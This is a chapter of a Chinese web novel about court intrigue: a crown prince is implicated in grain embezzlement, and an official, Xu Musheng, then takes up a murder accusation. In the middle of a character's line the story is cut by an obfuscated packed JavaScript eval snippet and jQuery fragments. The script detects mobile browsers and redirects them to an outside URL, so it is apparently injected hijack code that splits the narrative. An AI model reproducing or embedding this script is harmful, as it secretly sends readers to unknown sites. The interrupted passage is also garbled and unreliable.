29. 债多了不愁

作品:《听说我脚踏两条船

    东宫,太子重重一脚踢倒跪在身前之人,“什么叫寻不到踪迹?”


    那人忍着肩头剧痛,爬起身来,连连求饶。“殿下恕罪,属下等按照线索去寻,可名单上那些人,都已经消失约莫半月了。”


    “殿下,咱们的人手屡屡扑空,怕是有人从中作梗。”太子伴读乔素一脸凝重,从宁远侯府得到消息后,太子立马派人快马加鞭,赶赴北境,要把当时参与粮草转移的相关人等控制住,却屡屡被人捷足先登。


    “除了老五那个小人,还能有谁?”太子神色阴翳,眉头紧皱,又愤愤骂道:“谢长安那个废物,这点儿小事儿都办不好!”


    乔素微微蹙眉,据军中传来的消息,汝阳王当日确实人赃俱获。到底是宁远侯府办事不力,被人搅了局,还是有人管不住手脚,无视太子吩咐搂金?


    不过,眼下追究这些无益,当务之急还是要把太子殿下从这件事中摘出来。


    太子摩梭着手指上的玉环,胸口仍旧起伏,双眼微微眯起,“谢长安教子不力,惹出如此滔天大祸,孤替他周旋至今,已是仁至义尽。”


    这是,要放弃宁远侯了?乔素有些唏嘘,粮草一事,宁远侯本就是替太子办事,如今一遭形势不利,就要被太子无情舍弃。


    晋王府,一处地下暗牢中,三四名囚徒被绑在刑架上,身上沾满血水。


    “早点招了不就得了,非要让老子费这个劲儿。”一个刀疤脸的汉子,嘟囔着抱怨了两句,又擦了擦身上的污渍,小跑着来到牢房门口,向昌平报喜。


    “知道了,殿下不会忘了你的功劳。”昌平说着,扔出一袋银钱。


    那汉子顿时笑开了花,脸上的刀疤挤在一处,更为吓人。


    看完昌平奉上的口供,晋王微微翘起嘴角,眼中溢出势在必得的气势。


    他把玩着腕上的佛珠,太子心眼虽小,却还知道装装相。纵然汝阳王没有接受他的拉拢,可对方刚打了胜仗归来,他不敢做的太过分。


    这证据来的太过巧合,怕是有人想借刀杀人!


    不过,这倒是一个好机会。前线杀敌,太子却命人在后方打粮草的主意,势必让天下将士寒心。


    铁证如山,就看父皇还如何袒护他!


    刑部,气氛焦灼。因粮草贪墨一案迟迟未有进展,陛下近来频频动怒,整个刑部也是人人自危。


    众人皆对徐慕笙退避三舍,只有魏无涯还坚持鞍前马后。原本魏无涯也忍不住敲响退堂鼓,可是见徐慕笙仍旧气定神闲、有条不紊,便一咬牙一踱脚。


    富贵险中求,十多年的位置能不能挪一挪,就看今朝了。


    “大人,有人往大门前扔下几个人,还留下一张字条。”


    小吏高声报喝,把魏无涯吓得浑身一抖,“嚷嚷什么嚷嚷,哪儿来的送回哪儿去。”


    小吏降下声调,“来人马车跑得极快,属下着人去追,没追上。”


    “没追上就把人送京兆尹去。”魏无涯气闷不已,“我刑部是收破烂的吗,什么东西都往这儿扔!”


    小吏喏喏,“可是,纸条上说,这些人是粮草贪墨一案的重要人证。”


    “你怎么不早说!”魏无涯眉毛几乎飞起来,灵活地从小吏手中一把抄过字条,越看心越是砰砰直跳。


    对方自称是一伙儿绿林中人,抢了一单后,无意间发现这几人与粮草案有关联,甚为不齿,便匿名送交官府。


    魏无涯喜不自胜,吩咐小吏把人看好,急忙扶着肚子,小跑着去寻徐慕笙。


    “徐侍郎,大喜呀!”魏无涯乐滋滋地把消息带到,又表功般地让人带上那几名昏迷着的人证。


    一目十行浏览完毕,徐慕笙笑如春风,“魏郎中大才,若此案得破,您当首功。”


    “哪里哪里。”魏无涯推辞几句,不忘提醒徐慕笙,在长公主面前替他美言。“徐侍郎查案要紧,下官就不打扰了。”


    徐慕笙低头看向地上几名昏死之人,目露寒光。“来人,把他们弄醒!”


    刑部的小吏们对此最是擅长,不消徐慕笙多言,三下五除二,几盆凉水泼上去,很快便让那几人睁开眼来。


    已经挨过一道刑,几人早就被攻破了防线,刑部的小吏们甚至没怎么动手,这些人就交代了个清清楚楚。


    只是,他们口中吐露之言,实在是让人惊骇。众小吏们纵然见过不少风浪,还是吓得脸色发白。


    完了完了,听见如此秘辛,不知小命还保不保得住啊!


    “去请崔尚书过来。”视线在众小吏身上扫过,徐慕笙不动声色道:“把这间房围实了,任何人不得靠近。”


    很快,崔尚书疾步而来,得知事关太子后,也是神色一凛。“马上派人去这几人所言货仓查证,切勿走漏风声。”


    为筹措粮草,京中米价高涨,按几人口供所言,昧下的米粮早已暗中运回京城,只等卖个好价钱。


    两个时辰后,派出去的小吏回报,货仓内确实有大量米粮。刑部众人到场搜查时,货仓看守人正在消灭罪证,好险才从火堆里抢回了一只印着官粮记号的装粮袋。


    且那货仓老板,正是太子奶兄。


    人证物证俱在,崔尚书命人再度审问谢必平。早前顾虑太子,并未对谢必平用刑,此时崔尚书也顾不得那么多了。


    几道鞭子下去,谢必平顿时疼得哇哇乱叫,却还强忍着,不敢吐露半分。徐慕笙亲自监刑,故意透露已有人招认的消息,连存粮的货仓都被一窝端了,谢必平顿时慌了神色。


    难道真是太子拿他做幌子,背后偷偷贪墨!再抗了几鞭子后,谢必平终于忍不住招认,“我记着太子吩咐,只动的两成,其他的没敢多拿!”


    看着谢必平的口供,崔尚书长叹一声,眉间拢起一道道沟壑,思量片刻,冲徐慕笙道:“你随我一道,入宫面圣。”


    两人步入长明殿时,晋王正陪在景明帝身旁,观赏一幅画作。


    得知粮草案有了眉目,景明帝的目光从画作上移开,正色道:“何人如此大胆?”


    崔尚书抬头,看向景明帝身侧周围,欲言又止。


    景明帝眼神示意,秦山立刻带着一种侍奉的宫人退出门去,晋王见状也要退下,却被景明帝拦住,“老五留下,你身为皇子,此事没什么听不得的。”


    晋王依言留在殿内,崔尚书虽觉不妥,却也不好驳回,顿了片刻后,拱手道:“陛下,关于粮草一案,徐侍郎有重要发现。”


    说罢,崔尚书微微侧身一步,让出位置。景明帝问道:“徐卿,可查出结果?”


    徐慕笙垂头拱手,据实而报。


    大殿死一般的寂静。


    景明帝不敢置信,握住龙椅的手,青劲爆出。


    “父皇,太子殿下向来宽


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13534305|140007||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    仁,这里头定然是有误会。”晋王温言出声劝慰,景明帝脸色却越发难看。


    若不是心里有鬼,他下令围困宁远侯府时,太子为何派贴身内监进府?又为何急吼吼地去刑部打探消息?


    “来人,传太子!”


    骤然得景明帝传召,又是这个节骨眼上,太子心中不妙。一进大殿,只见景明帝铁青的脸色,太子心中更是不安。


    景明帝冷声道:“太子,有人招认,粮草一案是你指使,你有何话说!”


    太子立刻喊冤,可是对着眼前铁证,实在是辩驳无能,气上心头,指着徐慕笙破口大骂,“你这只疯狗,竟敢胡乱攀咬!”


    景明帝气不可遏,随手抄起案上茶杯,朝太子扔去。啪的一声,茶杯砸在太子肩上,在脖颈间擦出一道红痕。


    “陛下,太子犯了何事,要如此落了他的颜面!”杜皇后得到消息,急匆匆敢到长明殿。她口齿伶俐,三言两语间化解了尴尬局面,又让景明帝下旨,重新三司会审。


    事涉储君,大理寺和御史台也不敢轻忽。可粮草案还没查出名堂,一件凶案就震惊全城上下。


    京兆尹不敢擅自做主,把报案人打发至刑部。刑部司一众官员也不敢托大,李成君思来想去,把官司推到了徐慕笙这里。


    债多了不愁,都敢得罪太子了,还怕多这一桩!


    徐慕笙刚从石义手中,拿到想要的东西,就被人请至刑部大堂。只见堂下跪着一白头老妪,身侧躺着一副盖着白布的担架。


    老妪哭声凄厉,“大人,求大人为小民做主啊,大人!”


    “咱们这位徐侍郎,号称铁手神断,你有何冤屈,直管说便是,他定会为你主持公道!”李成君假意劝慰,不怀好意。


    “大人,小儿死得冤枉啊,大人!”赖婆子红肿着双眼,连连磕头道:“小儿被奸人所害,杀人凶手却逍遥法外!”


    说着,赖婆子掀开身旁白布,露出一副面如青灰的男子尸身,男人身前还插着一枚玄色飞镖。


    经田仵作查验,男子的致命伤,正是胸前那处伤口。“凶器刺破心房,一击毙命。”


    徐慕笙依例问道:“何人行凶?”


    “正是武威将军的未来女婿!”


    听到赖婆子的大声答复,李成君无声勾起嘴角。


    怎会是他?徐慕笙眉头微皱,“死者与他有何仇怨?”


    赖婆子迫不及待道出她一家与常将军的关系,直言蒋飞白定是眼红常将军要过继她家孙儿,贪图将军府的产业,这才痛下杀手。


    不对,若是如此,为何不直接对那要过继的孙儿下手,却要杀老妪这个年轻力壮的儿子?


    徐慕笙心下生疑,不露声色继续问道:“可有人亲眼目睹蒋飞白行凶?”


    “这凶器我亲眼见那蒋飞白使过,不是他还能是谁?”赖婆子两手一抬,锤着自个儿胸口,哀嚎道:“天爷呀,官官相护,我的儿你死得好惨,为娘不能替你讨回公道,活着还有什么用啊!”


    说罢,赖婆子忽地起身,一头朝堂上柱子撞去,小吏们眼疾手快,这才将人拦住。


    李成君饶有兴致地看着底下乱作一团,末了,才装模做样道:“徐侍郎,这,是否要派人去武威将军府一趟?”


    徐慕笙瞥了他一眼,派出堂下一小吏前去传话,视线落及堂下宋少峰的身影上,又有了主意。